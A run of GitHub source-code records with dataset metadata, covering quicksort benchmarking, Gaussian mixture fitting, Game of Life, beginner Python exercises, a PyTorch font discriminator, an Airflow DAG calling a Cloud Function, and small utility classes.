N-Queen/N-Queen.py","file_name":"N-Queen.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"73928338491","text":"from os import write\nfrom typing import List, Tuple, Optional, Dict, Callable, Any\nimport time, csv, numpy as np, matplotlib.pyplot as plt\nfrom random import randint\nimport Quick_Sort_Implementations \nimport sys\n\n#Dealing with the input\n#OptTuple3i = Optional[Tuple[int,int,int]]\nFunType = Callable[[List[int]], List[int]]\n\n#Setting recursion level:\nsys.setrecursionlimit(10**6)\n\n\n#Time\ndef measure(f: Callable[[], Any])->float:\n start: float = time.time()\n f()\n end: float = time.time()\n return end - start\n\n\n\ndef benchmark(f: FunType, args: List[List[int]], N: int)->np.ndarray:\n m: int = len(args)\n M: np.ndarray = np.zeros((m,N))\n for i in range(len(args)):\n arg: List[int] = args[i]\n for j in range(N):\n arg_copy = arg.copy() #This was added to ensure that it takes in the unsorted\n M[i,j] = measure(lambda: f(arg_copy))\n means = np.mean(M, axis=1).reshape(m,1)\n stdevs = np.std(M,axis=1,ddof=1).reshape(m, 1)\n return np.hstack([means, stdevs])\n\n\n\n#NEED TO MAKE NEW INPUT GENERATION METHOD - This is a temporary attempt with random ints.\n\ndef generate_pseudo_random_input(n: int)->List[int]:\n list = []\n for i in range(1,n+1):\n list.append(randint(-2147483648, 214483648)) # as we want the arrays to be 32-bit integers (this is the interval for 32-bit integers)\n return list\n\n\ndef generate_ordered_input(n: int)->List[int]:\n list = []\n return [i for i in range(n)]\n\n\n\n#The full test:\n\nns: List[int]\nargs: List[List[int]]\nres_classic: np.ndarray\nres_dual: np.ndarray\nmax_i: int = 30 #was 12\nN: int = 10 #was 5\nns = [int(30*1.41**i) for i in range(max_i)]\nargs = [generate_pseudo_random_input(n) for n in ns]\n\n#Uncopy Code to Run the full test\nres_classic = benchmark(Quick_Sort_Implementations.classic_quicksort, args, N)\nres_dual = benchmark(Quick_Sort_Implementations.dual_quicksort, args, N)\n\nres_library_sort = benchmark(Quick_Sort_Implementations.standard_lib_sort, args, N)\n\nprint(res_classic)\nprint(res_dual)\n\nprint(res_library_sort)\n\n\n\ndef write_csv(ns: List[int], res: np.ndarray, filename: str):\n with open(filename,'w') as f:\n writer = csv.writer(f)\n for i in range(len(ns)):\n writer = csv. writer(f)\n for i in range(len(ns)):\n writer.writerow([ns[i]] + res[i,:].tolist())\n\n\ndef write_latex_tabular(ns: List[int], res: np.ndarray, filename: str):\n with open(filename, 'w') as f:\n f.write(r'\\begin{tabular}{rrr}' + '\\n')\n f.write(r'$n$ & Average & Standard deviation')\n f.write(r'\\\\\\hline' + '\\n')\n for i in range(len(ns)):\n fields = [str(ns[i]), \n '{:.6f}'.format(res[i,0]),\n '{:.6f}'.format(res[i,1])]\n f.write(' & '.join(fields) + r'\\\\' + '\\n')\n f.write(r'\\end{tabular}' + '\\n') \n\n\n\n# FILL IN THE RIGHT INFORMATION:\nwrite_csv(ns, res_classic, \"classic_performance.csv\")\nwrite_latex_tabular(ns, res_classic, \"classic_quicksort_tabular.tex\")\n\nwrite_csv(ns, res_library_sort, \"Library_sort.csv\")\nwrite_latex_tabular(ns, res_library_sort, \"Library_sort_tabular.tex\")\n\nwrite_csv(ns, res_dual, \"dual_quicksort_performance.csv\")\nwrite_latex_tabular(ns, res_dual, \"dual_quicksort_tabular.tex\")\n\n#Making the plot presenting the performance\n\nfig = plt.figure()\nax = fig.gca()\n\n#Changed to relevant information\nax.errorbar(ns, res_classic[:,0], res_classic[:,1], capsize = 3.0, marker = 'o')\nax.errorbar(ns, res_dual[:,0], res_dual[:,1], capsize = 3.0, marker = 'o')\nax.errorbar(ns, res_library_sort[:,0], res_library_sort[:,1], capsize = 3.0, marker ='o')\n\nax.set_xlabel('Number of elements $n$')\nax.set_ylabel('Time (s)')\nax.set_yscale('log')\nax.set_xscale('log')\n\n\nax.legend(['Classic_QuickSort', 'Dual_Pivot_QuickSort', 'Python_Lib_Sort()'])\nplt.savefig('plot_Classic_vs_Dual_vs_Lib_Sort.pdf')\n\n","repo_name":"Gyrst/Classic-vs-Dual-Pivot-QuickSort","sub_path":"Benchmarking.py","file_name":"Benchmarking.py","file_ext":"py","file_size_in_byte":3838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9637793160","text":"import os\nimport csv\nimport time\nimport numpy as np\nimport sklearn.mixture\nimport sys\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set()\nplt.close('all')\nfrom scipy.stats import norm\n\nimport QM_load\n\ndef GMM_fit(img, n_gaussians, mu_init = None, sigma_init = None):\n \"\"\"\n Fits Gaussian mixture model to grey value histogram of img\n\n Parameters\n ----------\n img : numpy array\n 3D numpy array of image, output from QM_load.py\n n_gaussians : int\n Number of Gaussian components to fit to histogram, usually equals number of material components in specimen\n mu_init : array-like, shape (n_gaussians, ), optional\n User-provided initial means, defaults to None. \n sigma_init : array-like, shape (n_gaussians, ), optional\n User-provided initial standard deviations, defaults to None. Can only be specified with mu_init.\n \n Returns\n -------\n GMM\n instance of GaussianMixture class\n \"\"\"\n\n start = time.time()\n\n img_1d = img.flatten() # flatten 3D img array\n\n if mu_init != None:\n mu_init = np.array(mu_init).reshape([n_gaussians, 1])\n GMM = sklearn.mixture.GaussianMixture(n_components = n_gaussians, random_state = 3, means_init = mu_init) # fix random state for predictability\n if sigma_init != None: # not tested\n mu_init = np.array(mu_init).reshape([n_gaussians, 1])\n precisions_init = np.array(np.linalg.inv(sigma_init ** 2)).reshape([n_gaussians, 1]) # precisions = inv(sigma^2)\n GMM = sklearn.mixture.GaussianMixture(n_components = n_gaussians, random_state = 3, means_init = mu_init, precisions_init = precisions_init) # fix random state for predictability\n else:\n GMM = sklearn.mixture.GaussianMixture(n_components = n_gaussians, random_state = 3) # fix random state for predictability\n \n GMMfit = GMM.fit(img_1d.reshape(-1,1))\n\n end = time.time()\n print(\"GMM fit complete, time elapsed = {0:.2f} s\\n\".format((end-start)))\n\n return GMM\n\ndef extract_GMM_results(GMM):\n \"\"\"\n Extracts means, standard deviations and weights from fitted GMM\n\n Parameters\n ----------\n GMM : instance of GaussianMixture class\n Output from GaussianMixture from which results are extracted\n \n Returns\n -------\n mu\n Numpy 1-D array of size = n_gaussians with the mean(s) of fitted Gaussian component(s) as floats.\n sigma\n Numpy 1-D array of size = n_gaussians with the standard deviation(s) of fitted Gaussian component(s) as floats.\n weights\n Numpy 1-D array of size = n_gaussians with the weight(s) of fitted Gaussian component(s) as floats.\n \"\"\"\n\n mu_fitted = GMM.means_.reshape([len(GMM.means_)])\n sigma_fitted = np.sqrt(GMM.covariances_).reshape([len(GMM.means_)])\n weights_fitted = GMM.weights_.reshape([len(GMM.means_)])\n\n sort_ind = np.argsort(mu_fitted) # list of indices sorted in ascending order of means\n mu_fitted = mu_fitted[sort_ind]\n sigma_fitted = sigma_fitted[sort_ind]\n weights_fitted = weights_fitted[sort_ind]\n \n return mu_fitted, sigma_fitted, weights_fitted\n\ndef save_GMM_results(img_fname, GMM):\n \"\"\"\n Saves mu, sigma and weights to .csv in created results directory\n \n Parameters\n ----------\n img_fname : str\n Filepath to image name, used to create results directory\n GMM : instance of GaussianMixture class\n Output from GaussianMixture from which results are extracted\n \n Returns\n -------\n fitted_results.csv : csv file\n Saved in results directory\n \"\"\"\n # Create results directory\n results_dir = \"{}_results\".format(os.path.splitext(img_fname)[0])\n if os.path.isdir(results_dir) == False:\n os.mkdir(results_dir)\n \n # save to csv\n mu, sigma, weights = extract_GMM_results(GMM)\n with open(os.path.join(results_dir, \"fitted_results.csv\"), \"w\", newline = \"\") as csv_file:\n w = csv.writer(csv_file, delimiter = \",\")\n csv_file.write(\"# Image filename = {} \\n\".format(img_fname))\n csv_file.write(\"# Fitted Gaussians \\n\")\n csv_file.write(\"# Mean, Standard Deviation, Weight \\n\")\n for i in range(len(mu)):\n to_write = [mu[i], sigma[i], weights[i]]\n w.writerow(to_write) # writes mu, sigma and weight of each fitted Gaussian as a new row\n print(\"Results saved to {} \\n\".format(results_dir))\n\ndef plot_GMM_fit(img, GMM, img_fname):\n \"\"\"\n Plots fitted Gaussian components over grey value histogram from img, saves as png\n\n Parameters\n ----------\n img : numpy array\n 3D numpy array of image, output from QM_load.py\n GMM : instance of GaussianMixture class\n Output from GaussianMixture from which results are extracted\n img_fname : str\n Filepath to image name, used to create results directory\n \"\"\"\n # Create results directory\n results_dir = \"{}_results\".format(os.path.splitext(img_fname)[0])\n if os.path.isdir(results_dir) == False:\n os.mkdir(results_dir)\n\n # Plot grey value histogram\n img_1d = img.flatten()\n fig = plt.figure()\n ax = plt.subplot(111)\n bins = int(0.25 * np.sqrt(len(img_1d)))\n histo = plt.hist(img_1d, bins = bins, density = True, linewidth = 0, label = \"Pixel Intensities\")\n\n # Plot fitted Gaussians\n mu, sigma, weights = extract_GMM_results(GMM)\n norm_mat = np.zeros([len(histo[1]), len(mu)]) # store y-coordinates of normal distribution to be plotted\n for i in range(0, len(mu)):\n y = norm.pdf(histo[1], mu[i], sigma[i]) # generate normal distribution\n norm_mat[:,i] = y * weights[i] # scale by weight, write y-coordinates to norm_mat\n gauss = plt.plot(histo[1], y, label = \"Gaussian {0}, $\\mu$ = {1:.2f}, $\\sigma$ = {2:.2f}, weight = {3:.2f}\".format(i, mu[i], sigma[i], weights[i]))\n x_mu = np.full([2,], mu[i]) # x-coord of vertical line marking mean of Gaussian\n y_mu = [0., np.max(y)] # y-coords of vertical line marking mean of Gaussian\n plt.plot(x_mu, y_mu, color = gauss[0]._color)\n plt.text(mu[i], y_mu[1], \"{}\".format(i), horizontalalignment = \"center\")\n plt.plot(histo[1], np.sum(norm_mat, axis = 1), \"k--\", label = \"Sum of fitted Gaussians\") # Plot sum of fitted Gaussians\n plt.xlabel(\"Pixel Intensity\")\n plt.ylabel(\"Probability Density\")\n ax.legend(bbox_to_anchor = (0.8, -0.2))\n plt.tight_layout()\n \n plt.savefig(os.path.join(results_dir, \"histo.png\"), dpi = 100)\n print(\"Histogram plotted and saved to {} \\n\".format(results_dir))\n plt.show()\n\n# img_fname = os.path.join(os.getcwd(), \"test\", \"test.tif\")\n# img = QM_load.QM_load(img_fname)\n# GMM = GMM_fit(img, 3)\n# mu, sigma, weights = extract_GMM_results(GMM)\n# save_GMM_results(img_fname, GMM)\n# plot_GMM_fit(img, GMM, img_fname)","repo_name":"elainehoml/GMM_Image_Quality","sub_path":"main/GMM_fit.py","file_name":"GMM_fit.py","file_ext":"py","file_size_in_byte":6765,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"332383891","text":"size = 32\nboard = {}\nfor i in range(size):\n for j in range(size):\n board[(i, j)] = {}\n\ndef find_neighbors(pair):\n l = set()\n for a in [-1, 0, 1]:\n for b in [-1, 0, 1]:\n if a == b == 0:\n continue\n l.add({(pair[0]+a, pair[1]+b)})\n return l\n\ndef get_all(l):\n r = []\n for p in l:\n r.append(board.get(p, {}))\n return r\n\ndef inc():\n global board\n board2 = board.copy()\n for i in range(size):\n for j in range(size):\n board2[(i,j)] = decide((i,j))\n board = board2.copy()\n\ndef flatten(l):\n return [item for sublist in l for item in sublist]\n\ndef decide(pair):\n v = {}\n p = board[pair]\n n = flatten(get_all(find_neighbors(pair)))\n if p == {}:\n for p in set(n):\n if n.count(p) == 3:\n v += p\n else:\n if all(s == {} or p <= s for s in n):\n c = n.count(p)\n if c in [2,3]:\n v = p\n return v\n\n#def decide2(pair):\n\ndef disp():\n s = \"\"\n for j in range(size)[::-1]:\n for i in range(size):\n s += disp_val((i, j)) + ' '\n s += '\\n'\n print(s)\n\ndef disp_val(pair):\n cell = board[pair]\n v = 1\n for i in cell:\n v *= i\n return v\n\ndef start():\n clear()\n board[(size/2, size/2)] = {2}\n board[(size/2 -1, size/2)] = {2}\n board[(size/2, size/2 -1)] = {2}\n board[(size/2 -1, size/2 -1)] = {2}\n\ndef loop():\n states = []\n while True:\n disp()\n inc()\n if board in states:\n break\n states.append(board.copy())\n disp()\n\ndef input_coord(p):\n n = set()\n f = set()\n for s in board.keys():\n if board[s] == p:\n n |= set(find_neighbors(s))\n if board[s] != 0:\n f |= {s}\n n -= f\n pair = ()\n while pair not in n:\n x = input('x: ')\n y = input('y: ')\n try:\n x = int(x)\n y = int(y)\n except ValueError:\n pass\n pair = (x, y)\n print(pair)\n return pair\n\ndef glider(pair, p=1, flip=(1,1)):\n x = pair[0]\n y = pair[1]\n xf = flip[0]\n yf = flip[1]\n adj_same([(x-1*xf,y-1*yf), (x,y-1*yf), (x+1*xf,y-1*yf), (x+1*xf,y), (x,y+1*yf)], p)\n\ndef exploder(pair, p=1, flip=(1,1)):\n x = pair[0]\n y = pair[1]\n xf = flip[0]\n yf = flip[1]\n adj_same([(x-1*xf,y), (x,y-1*yf), (x+1*xf,y-1*yf), (x+2*xf,y), (x+1*xf,y+1*yf), (x,y+1*yf), (x+1*xf,y)], p)\n\ndef blinker(pair, p=1, flip=(1,1)):\n x = pair[0]\n y = pair[1]\n xf = flip[0]\n yf = flip[1]\n adj_same([(x-1*xf,y), (x,y), (x+1*xf,y)], p)\n \ndef clear():\n for i in range(size):\n for j in range(size):\n board[(i, j)] = 0\n\ndef adj(pair, val):\n board[pair] = val\n\ndef adj_many(pair_vals):\n for i in pair_vals:\n adj(i[0], i[1])\n\ndef adj_same(pairs, p):\n for i in pairs:\n adj(i, p)\n\ndef count(p):\n return list(board.values()).count(p)\n\ndef play_solitaire(p):\n start()\n disp()\n while count(1) > 0:\n adj(input_coord(p), 1)\n loop()\n","repo_name":"TiffanyStrider/sandbox","sub_path":"life/GameOfLife.py","file_name":"GameOfLife.py","file_ext":"py","file_size_in_byte":3067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72111934973","text":"# Escreva um programa que leia um numero inteiro qualquer e peça para o usuário escolher qual será a base de conversão:\n\n# 1 - para binário\n# 2 - para octal\n# 3 - para hexadecimal\n\nnumber = int(input('Informe um número: '))\nopcao = int(input('Você quer convertê-lo para: \\n1-Binário; \\n2-Octal; \\n3-Hexadecimal: \\n'))\nconversao = 0\n \n\nif opcao == 1:\n conversao = bin(number)\n print(f'binario: {conversao}')\n\nelif opcao == 2:\n conversao = oct(number)\n print(f'octal: {conversao}')\n \n\nelif opcao == 3:\n conversao = hex(number)\n print(f'hexadecimal: {conversao}')\n\nelse:\n print('Digite uma opção válida!')\n","repo_name":"lauracarlotta/logica_com_python","sub_path":"python/world_2/examples/6_condicoes_(if..elif)/condicoes aninhadas/ex037_binario_octal_hexadecimal/ex037.py","file_name":"ex037.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"42398477460","text":"#Plotting images,points and lines\n\nfrom PIL import Image\nfrom pylab import *\n\n#reading image to array\nim = array(Image.open('images/babb.jpg'))\n\n#plotting the image\nimshow(im)\n\n#show points\nx = [100,100,400,400]\ny = [200,500,200,500]\n\n#point the points with red star markers\n#Other options:\n#1. plot(x,y) -> default blue solid line\n#2. plot(x,y,'go-') -> green line with circle-markers\n#3. plot(x,y,'ks:') -> black dotted line with square-markers\n\nplot(x,y,'r*')\n\n#line plot connecting the first two points\nplot(x[:2],y[:2])\n\n#adding the title and showing the plot\ntitle('Plotting: \"babb.jpg\"')\n\n#setting axis off\naxis('off')\n\n#rendering\nshow()\n\n\n\n","repo_name":"riaz/Python_Dumps","sub_path":"PythonCV/pylabBasics/plotDemo.py","file_name":"plotDemo.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25299605382","text":"# -*- coding: utf-8 -*-\n\n'''\nEscreva a sua solução aqui\nCode your solution here\nEscriba su solución aquí\n'''\n\nn, s = map(int, input().split())\nmenor = s\n\nfor _ in range(n):\n m = int(input())\n s += m # atualiza o saldo\n if s < menor:\n menor = s\n\nprint(menor)\n","repo_name":"thiago-dsd/PO1-Beecrowd","sub_path":"Revisão - Prova I/2434.py","file_name":"2434.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"42847459922","text":"#Los atributos son las propiedades de un objeto\n\nclass NinjaPrincipal:\n HP = 100\n resistencia = 50\n XP = 1\n vidas = 3\n def game_over(self): \n print(\"Game Over\") \n\nninja = NinjaPrincipal()\nprint(ninja.HP)\n\nninja.HP = 0 \nif ninja.HP == 0 and ninja.vidas == 0: \n ninja.game_over()\n","repo_name":"luismarquez21/practicas_python","sub_path":"Curso_POO/a02.py","file_name":"a02.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41041958755","text":"from functools import partial\nimport torch\nimport torch.nn as nn\nfrom .modules import ResBlock, ConvBlock, w_norm_dispatch, activ_dispatch\n\n\nclass ProjectionDiscriminator(nn.Module):\n \"\"\" Multi-task discriminator \"\"\"\n def __init__(self, C, n_fonts, n_chars, w_norm='spectral', activ='none'):\n super().__init__()\n\n self.activ = activ_dispatch(activ)()\n w_norm = w_norm_dispatch(w_norm)\n self.font_emb = w_norm(nn.Embedding(n_fonts, C))\n self.char_emb = w_norm(nn.Embedding(n_chars, C))\n\n def forward(self, x, font_indice, char_indice):\n x = self.activ(x)\n font_emb = self.font_emb(font_indice)\n char_emb = self.char_emb(char_indice)\n\n font_out = torch.einsum('bchw,bc->bhw', x.float(), font_emb.float()).unsqueeze(1)\n char_out = torch.einsum('bchw,bc->bhw', x.float(), char_emb.float()).unsqueeze(1)\n\n return [font_out, char_out]\n\n def extend_font(self, font_idx):\n \"\"\" extend font by cloning font index \"\"\"\n nn.utils.remove_spectral_norm(self.font_emb)\n\n self.font_emb.weight.data = torch.cat(\n [self.font_emb.weight, self.font_emb.weight[font_idx].unsqueeze(0)]\n )\n self.font_emb.num_embeddings += 1\n\n self.font_emb = nn.utils.spectral_norm(self.font_emb)\n\n def extend_chars(self, n_chars):\n nn.utils.remove_spectral_norm(self.char_emb)\n\n mean_emb = self.char_emb.weight.mean(0, keepdim=True).repeat(n_chars, 1)\n self.char_emb.weight.data = torch.cat(\n [self.char_emb.weight, mean_emb]\n )\n self.char_emb.num_embeddings += n_chars\n\n self.char_emb = nn.utils.spectral_norm(self.char_emb)\n\n\nclass CustomDiscriminator(nn.Module):\n \"\"\"\n spectral norm + ResBlock + Multi-task Discriminator (No patchGAN)\n \"\"\"\n def __init__(self, feats, gap, projD):\n super().__init__()\n self.feats = feats\n self.gap = gap\n self.projD = projD\n\n def forward(self, x, font_indice, char_indice, out_feats='none'):\n assert out_feats in {'none', 'all'}\n feats = []\n for layer in self.feats:\n x = layer(x)\n feats.append(x)\n\n x = self.gap(x) # final features\n ret = self.projD(x, font_indice, char_indice)\n\n if out_feats == 'all':\n ret += feats\n\n ret = tuple(map(lambda i: i.cuda(), ret))\n return ret\n\n\ndef disc_builder(C, n_fonts, n_chars, activ='relu', gap_activ='relu', w_norm='spectral',\n pad_type='reflect', res_scale_var=False):\n ConvBlk = partial(ConvBlock, w_norm=w_norm, activ=activ, pad_type=pad_type)\n ResBlk = partial(\n ResBlock, w_norm=w_norm, activ=activ, pad_type=pad_type, scale_var=res_scale_var\n )\n feats = [\n ConvBlk(1, C, stride=2, activ='none'), # 64x64 (stirde==2)\n ResBlk(C*1, C*2, downsample=True), # 32x32\n ResBlk(C*2, C*4, downsample=True), # 16x16\n ResBlk(C*4, C*8, downsample=True), # 8x8\n ResBlk(C*8, C*16, downsample=False), # 8x8\n ResBlk(C*16, C*16, downsample=False), # 8x8\n ]\n\n gap_activ = activ_dispatch(gap_activ)\n gaps = [\n gap_activ(),\n nn.AdaptiveAvgPool2d(1)\n ]\n projD_C_in = feats[-1].C_out\n\n feats = nn.ModuleList(feats)\n gap = nn.Sequential(*gaps)\n projD = ProjectionDiscriminator(projD_C_in, n_fonts, n_chars, w_norm=w_norm)\n\n disc = CustomDiscriminator(feats, gap, projD)\n\n return disc\n","repo_name":"clovaai/lffont","sub_path":"models/discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":3464,"program_lang":"python","lang":"en","doc_type":"code","stars":141,"dataset":"github-code","pt":"78"} +{"seq_id":"42450348603","text":"from datetime import timedelta\n\nimport airflow\nfrom airflow import DAG\nfrom airflow.utils import dates\nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.providers.google.cloud.operators.functions import (\n CloudFunctionDeleteFunctionOperator,\n CloudFunctionDeployFunctionOperator,\n CloudFunctionInvokeFunctionOperator\n)\n\n\ndefault_args = {\n 'owner': 'aronlo',\n 'start_date': airflow.utils.dates.days_ago(0),\n # 'end_date': datetime(2018, 12, 30),\n 'depends_on_past': False,\n 'email': ['aron.lo.li@hotmail.com'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n # If a task fails, retry it once after waiting\n # at least 5 minutes\n 'retries': 1,\n 'retry_delay': timedelta(minutes=5),\n}\n\ndag = DAG(\n 'test-dag-cloud-function',\n default_args=default_args,\n description='A simple test of DAG Cloud function',\n # Continue to run DAG once per day\n schedule_interval=timedelta(days=1),\n)\n\n# t1, t2 and t3 are examples of tasks created by instantiating operators\nt1 = BashOperator(\n task_id='print_date',\n bash_command='date',\n dag=dag)\n\nt2 = BashOperator(\n task_id ='execute_function',\n bash_command='gcloud functions call hello --region us-central1',\n dag=dag)\n\n\nt3 = CloudFunctionInvokeFunctionOperator(\n task_id=\"invoke_function\",\n project_id=\"alicorp-test\",\n location=\"us-central1\",\n input_data={},\n function_id=\"hello\",\n dag=dag)\n\n\n\nt1 >> t2 >> t3","repo_name":"aronlo98/google-composer","sub_path":"test-dag-cloud-function.py","file_name":"test-dag-cloud-function.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28479774421","text":"\n\n\n\n\n\n\n\n\nL = {'Jack':[90,80,70],'Machile':[80,60,30],'Bob':[80,70,90]}\ntk=[]\nfor key,values in L.items():\n love = []\n love.append(values)\n k = list(map(sum,love))\n tk.append(k[0])\nprint(sorted(tk,reverse=False))\n\n\n\n\nL = {'Jack':[90,80,70],'Machile':[80,60,30],'Bob':[80,70,90]}\nsk=[]\nfor k,v in L.items():\n lis = []\n lis.append(v)\n a = list(map(sum,lis))\n d=('{:.0f}'.format(a[0]/3))\n sk.append(d)\nc,y,u=sk[0],sk[1].sk[2]\n\n\n\n\n\ndef sk(w):\n w>60\n return w\nprint(filter(sk,[40,63,90]))\n \n\n\n\n\n\n\n \n \n\n \n\n\n\n\n\n\n\n","repo_name":"gschen/where2go-python-test","sub_path":"1906101025康健铭/ago/14.py","file_name":"14.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"35319669835","text":"#!usr/bin/env python3\n# author: Rui Meng\n# date: 05132019\n\nfrom __future__ import print_function\nimport numpy as np \nimport matplotlib as mpl \nimport matplotlib.pyplot as plt \nimport matplotlib.cm as cm\nimport pods\nimport pickle\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom scipy.spatial.distance import pdist, squareform\nimport pandas as pd\n\ndef NN_experiments(data, label, verbose = False):\n N = data.shape[0]\n D = squareform(pdist(data))\n # print(data.shape, D.shape)\n pred = np.asarray([label[np.argmin(D[n,:][D[n,:]>0]) if np.argmin(D[n,:][D[n,:]>0]) < n else np.argmin(D[n,:][D[n,:]>0])+1] for n in range(N)])\n pred_score = np.mean(pred == label)\n # knn = KNeighborsClassifier(n_neighbors = 3)\n # knn.fit(data, label)\n # pred_score = knn.score(data, label)\n if verbose:\n print(\"predictive accuracy: {}\".format(pred_score))\n return pred_score\n\ndef cross_validation(data, label, n_cv = 10, verbose = False):\n N = data.shape[0]\n from sklearn.model_selection import KFold\n kf = KFold(n_splits=n_cv)\n kf.get_n_splits(data)\n pred_score = 0\n for train_index, test_index in kf.split(data):\n X_train, X_test = data[train_index], data[test_index]\n y_train, y_test = label[train_index], label[test_index]\n knn = KNeighborsClassifier()\n knn.fit(X_train, y_train)\n pred_score += knn.score(X_test, y_test)\n return pred_score/n_cv\n\nif __name__ == \"__main__\":\n pods.datasets.overide_manual_authorize = True # dont ask to authorize\n np.random.seed(42)\n\n Q = 5\n M = 20\n\n # # Install the oil data\n # name = \"oils\"\n # data = pods.datasets.oil()\n # Y = data['X']\n # print('Number of points X Number of dimensions', Y.shape)\n # print(data['citation'])\n # labels = data['Y'].argmax(axis=1)\n\n # # Install decampos_digits\n # name = \"decampos_digits\"\n # data = pods.datasets.decampos_digits()\n # Y = data['Y']\n # labels = data['lbls']\n\n # Load Anuran Calls (MFCCs)\n name = \"Anuran_Genus\"\n # Load Anuran Calls (MFCCs)\n data = pd.read_csv(\"../data/Frogs_MFCCs.csv\")\n print(data.columns)\n Y = data.iloc[:,:22].values\n # labels = data[\"Family\"].values\n labels = data[\"Genus\"].values\n # labels = data[\"Species\"].values\n print(Y.shape, labels.shape)\n\n\n # # Load result from {} bgplvm\n # with open(\"../res/{}_bgplvm_Q{}_M{}.pickle\".format(name, Q, M), \"rb\") as res:\n # data = pickle.load(res)\n # print(\"BGLVM, ACC: {}\".format(NN_experiments(data, labels)))\n\n # Load result from name's vbgplvm\n with open(\"../res/{}_vbgplvm_Q{}_M{}.pickle\".format(name, Q, M), \"rb\") as res:\n data = pickle.load(res)\n print(\"VBGLVM, ACC: {}\".format(cross_validation(data, labels)))\n\n # # Load result from oil rbgplvm\n # with open(\"../res/{}_rbgplvm_Q{}_M{}.pickle\".format(name, Q, M), \"rb\") as res:\n # data = pickle.load(res)\n # print(\"RBGLVM, ACC: {}\".format(NN_experiments(data, labels)))\n\n \n # Load result from name's rvbgplvm\n lamb = 20\n with open(\"../res/{}_rvbgplvm_Q{}_M{}_LAM{}.pickle\".format(name, Q, M, lamb), \"rb\") as res:\n data = pickle.load(res)\n print(\"RVBGLVM, ACC: {}\".format(cross_validation(data, labels)))\n\n lamb = 50\n with open(\"../res/{}_rvbgplvm_Q{}_M{}_LAM{}.pickle\".format(name, Q, M, lamb), \"rb\") as res:\n data = pickle.load(res)\n print(\"RVBGLVM, ACC: {}\".format(cross_validation(data, labels)))\n\n lamb = 100\n with open(\"../res/{}_rvbgplvm_Q{}_M{}_LAM{}.pickle\".format(name, Q, M, lamb), \"rb\") as res:\n data = pickle.load(res)\n print(\"RVBGLVM, ACC: {}\".format(cross_validation(data, labels)))\n","repo_name":"Corleno/RGPLVM","sub_path":"MEBLO/src/NN.py","file_name":"NN.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25268562844","text":"import os\nfrom celery import Celery\nfrom celery.schedules import crontab\nfrom django.conf import settings\n\n \nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cva.settings')\n \napp = Celery('cva')\napp.config_from_object('django.conf:settings')\n \n# Load task modules from all registered Django app configs.\napp.autodiscover_tasks()\n\n# Define the scheduled tasks\nif settings.DEBUG:\n # Run tasks every minute when in DEBUG mode\n app.conf.beat_schedule = {\n 'test_scheduled_task': {\n 'task': 'cva.tasks.test.test_scheduled_task',\n 'schedule': crontab(),\n },\n }\nelse:\n # Production tasks\n app.conf.beat_schedule = {\n }","repo_name":"gBobCodes/baseapp","sub_path":"pig/src/cva/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18836525362","text":"class Nodo:\n def __init__(self, nombre = None, fila = None, columna = None, filatexto =None, siguiente = None):\n self.nombre = nombre\n self.fila = fila\n self.columna = columna\n self.filatexto = filatexto\n self.siguiente = siguiente\n\n\nclass Nuevo_Nodo:\n def __init__(self):\n self.raiz = Nodo()\n self.ultimo = Nodo()\n\n def insertar(self, nuevoNodo):\n if self.raiz.nombre == None:\n self.raiz = nuevoNodo\n self.ultimo = nuevoNodo\n \n elif self.raiz.siguiente == None:\n self.raiz.siguiente = nuevoNodo\n self.ultimo = nuevoNodo\n else:\n self.ultimo.siguiente = nuevoNodo\n self.ultimo = nuevoNodo\n\n def devolver(self):\n aux = self.raiz\n return aux\n\n def imprimir(self):\n aux = self.raiz\n \n while aux != None:\n print(aux.nombre)\n \n aux = aux.siguiente\n\n def buscar(self, nombre):\n aux = self.raiz\n while aux != None:\n if aux.nombre == nombre:\n return True\n aux = aux.siguiente\n return False\n \n def mostrar(self, nombre):\n aux = self.raiz\n while aux != None:\n if aux.nombre == nombre:\n return aux\n aux = aux.siguiente\n return False\n\n def editar(self, nombre, fila, columna, filatexto):\n aux = self.raiz\n while aux != None:\n if aux.nombre == nombre:\n aux.fila = fila\n aux.columna = columna\n aux.filatexto = filatexto\n return True\n aux = aux.siguiente\n return False\n\n\n","repo_name":"JavierGD15/IPC2_Proyecto2_-202000510","sub_path":"Nodos.py","file_name":"Nodos.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19396360095","text":"from unittest import mock, skip\nfrom unittest.mock import patch\n\nimport pytest\nimport yaml\nfrom sqlalchemy.exc import DBAPIError\n\nfrom spotrix import db, event_logger, security_manager\nfrom spotrix.commands.exceptions import CommandInvalidError\nfrom spotrix.commands.importers.exceptions import IncorrectVersionError\nfrom 